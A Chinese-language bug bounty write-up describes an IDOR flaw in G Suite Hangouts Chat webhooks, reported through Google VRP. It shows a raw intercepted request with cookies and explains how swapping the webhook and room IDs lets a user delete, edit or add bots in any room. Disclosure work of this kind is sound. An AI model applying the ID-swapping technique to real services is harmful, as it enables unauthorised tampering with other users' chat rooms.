G Suite Hangouts Chat 5k IDOR漏洞挖掘与利用

本文详细介绍了在G Suite Hangouts Chat中发现的一个IDOR(不安全的直接对象引用)漏洞,允许攻击者未经授权删除、编辑或添加任何聊天室的Webhook,从而控制聊天机器人并发送消息等操作。

G Suite Hangouts Chat 5k IDOR

大家好,

正如大多数人应该看到的,Google VRP(漏洞奖励计划)已经开始进行“每周一漏洞”的推广活动。我提交的一个漏洞被选为本周的亮点,所以这里我来分享一下。

这是一篇关于我在三月份发现的、影响chat.google.com的IDOR(不安全的直接对象引用)漏洞的详细报告。

三月份,在浏览Twitter时,我注意到Google Chat正在成为热门话题。我立即想到这可能是一个新推出的产品,并开始阅读一些相关的帖子。经过了解,这个产品是为G Suite客户及其用户提供的新团队协作聊天室,类似于大多数聊天工具。就像大多数漏洞猎人一样,当你看到新产品推出时,就是时候去测试它了。

我随后设置了我的G Suite账户,并访问了chat.google.com。这是一个聊天区域,因此XSS(跨站脚本攻击)是我首先测试的内容。我没有找到任何相关漏洞,但也许其他人找到了 ;)。

由于这是一个新功能,我相当确定它肯定有漏洞,所以我启动了Burp Suite,并开始检查所有通过的请求。

经过一段时间的查看,我注意到在这些聊天室中,用户可以添加、删除、编辑机器人的Webhook。这些Webhook允许连接到聊天室的机器人向房间发送消息,如果用户@机器人,还可以读取消息等。机器人的实现可以在这里阅读:https://developers.google.com/hangouts/chat/how-tos/bots-develop

例如,在删除Webhook时,Burp Suite中运行的请求如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /_/DynamiteWebUi/mutate?ds.extension=115617448&f.sid=-8125538407103612547&hl=en&soc-app=534&soc-platform=1&soc-device=1&_reqid=10551185&rt=c HTTP/1.1
Host: chat.google.com
Connection: close
Content-Length: 225
X-Same-Domain: 1
Origin: https://chat.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Client-Data: CIm2yQEIprbJAQjEtskBCKmdygEI7Z7KAQioo8oB
Accept: */*
Referer: https://chat.google.com/
Accept-Encoding: gzip, deflate
Accept-Language: en,en-GB;q=0.9
Cookie: 1P_JAR=2018-2-28-19; HSID=Abx0Xo43JAoofqOKS; SSID=ARXCoaFb-TH2GqLPQ; APISID=Q3MACqZWeAe8kt-_/AKx7734WMwG2uVZH1; SAPISID=nqYEUnsiTn_6uKOn/AdH--sbzTfjsz9cnv; NID=124=SoBxeZUELNfhi9f7mrBzcSGnZ1w8uYFn-kBYBWik5236veI2YfT78wwxQanT6_Y0OOb_HERtBK_N1MWrKXCucmVfry6GINfq8o2adBLGkErshu6inrVfM4UckgHMcEEeT9_IB93gaOMboXWYS5_9QkIecg; SID=0wVQgy4t9V79MSxExAlhwQm__pNVCp758iCRdNqh4Wi2X1A-pjQd6T3iwB-rckAX5n1xzQ.; OTZ=4292347_76_76_104100_72_446760; SIDCC=AAiTGe_-r1x0cGo-MPMgd4BrnKTQWiPe90Jw9u5LvH_IlQZaRdqLtC6FMYYGZXq70r9EkC8tHcw

f.req=%5B%22af.maf%22%2C%5B%5B%22af.add%22%2C115617448%2C%5B%7B%22115617448%22%3A%5B%5B%22space%2FAAAAbkEmhbA%22%2C%22AAAAbkEmhbA%22%2C2%5D%2C%22test3322xx%22%5D%7D%5D%5D%5D%5D&at=AJwI_LDFWIAMSGUjX3mVuYZZbn-n%3A1519845183375&

如果你仔细查看请求的底部,你会看到:

1
f.req=%5B%22af.maf%22%2C%5B%5B%22af.add%22%2C115617448%2C%5B%7B%22115617448%22%3A%5B%5B%22space%2FAAAAbkEmhbA%22%2C%22AAAAbkEmhbA%22%2C2%5D%2C%22test3322xx%22%5D%7D%5D%5D%5D%5D&

如果你是一个经验丰富的漏洞猎人,这里的步骤应该已经清晰了 ;)

你会在这个请求中看到两种类型的ID:

第一个是: 115617448

第二个是: AAAAbkEmhbA

第一个ID是实际机器人Webhook的ID。第二个ID是聊天室的ID。

然后,你只需要简单地将ID替换为另一个机器人Webhook的ID,例如,在这种情况下,你就会删除它。整个机器人Webhook区域没有正确检查你是否有权对其进行任何操作。

因此,你可以删除、编辑甚至将自己的机器人Webhook添加到任何人的聊天室,并通过它发送消息等。

感谢阅读,希望你喜欢。如果你有任何其他问题,我的Twitter链接在页面顶部。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计